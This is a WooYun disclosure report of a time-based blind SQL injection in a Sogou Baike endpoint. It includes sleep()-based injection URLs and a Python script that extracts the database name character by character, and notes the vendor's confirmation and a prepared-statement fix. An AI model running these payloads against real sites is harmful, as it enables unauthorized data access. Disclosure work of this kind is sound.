当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0199239

漏洞标题:搜狗某站存在SQL注入(附验证脚本)

相关厂商:搜狗

漏洞作者: Vinc

提交时间:2016-04-22 12:25

修复时间:2016-06-10 00:20

公开时间:2016-06-10 00:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-22: 细节已通知厂商并且等待厂商处理中
2016-04-26: 厂商已经确认,细节仅向厂商公开
2016-05-06: 细节向核心白帽子及相关领域专家公开
2016-05-16: 细节向普通白帽子公开
2016-05-26: 细节向实习白帽子公开
2016-06-10: 细节向公众公开

简要描述:

quadrakill

详细说明:

站点:http://baike.sogou.com/
访问:
http://baike.sogou.com/activity/getLemmas.v?taskId=241&type=1%27%2b(select(0)from(select(if(ascii(substr(database(),1,1))=98,sleep(10),1)))v)%2b%27&_=1461176536776

123.png


访问:
http://baike.sogou.com/activity/getLemmas.v?taskId=241&type=1%27%2b%28select%280%29from%28select%28if%28ascii%28substr%28database%28%29,1,1%29%29=97,sleep%2810%29,1%29%29%29v%29%2b%27&_=1461176536776

123.png

漏洞证明:

脚本:
# -*- coding: utf8 -*-
#encoding=utf-8
import httplib
import time
import string
import sys
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36',
'Referer': 'http://ldj.db.17173.com',
}
payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')
print '[%s] Start to retrive MySQL database()' % time.strftime('%H:%M:%S', time.localtime())
database = ''
for i in range(1,8,1):
for payload in payloads:
try:
conn = httplib.HTTPConnection('baike.sogou.com', timeout=10)
conn.request(method='GET', url="/activity/getLemmas.v?taskId=241&type=1%27%2b(select(0)from(select(if(ascii(substr(database(),"+str(i)+",1))="+str(ord(payload))+",sleep(10),1)))v)%2b%27")
status = conn.getresponse().status
conn.close()
except:
database += payload
print '\r[scan in progress]' ,database
time.sleep(0.01)
break
print ''
print 'database() is', database

123.png

修复方案:

预编译处理

版权声明:转载请注明来源 Vinc@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-04-26 00:16

厂商回复:

感谢支持

最新状态:

暂无


漏洞评价:

评价

  1. 2016-04-22 14:48 | 小红猪 ( 普通白帽子 | Rank:329 漏洞数:61 | little red pig!)

    膜拜注入牛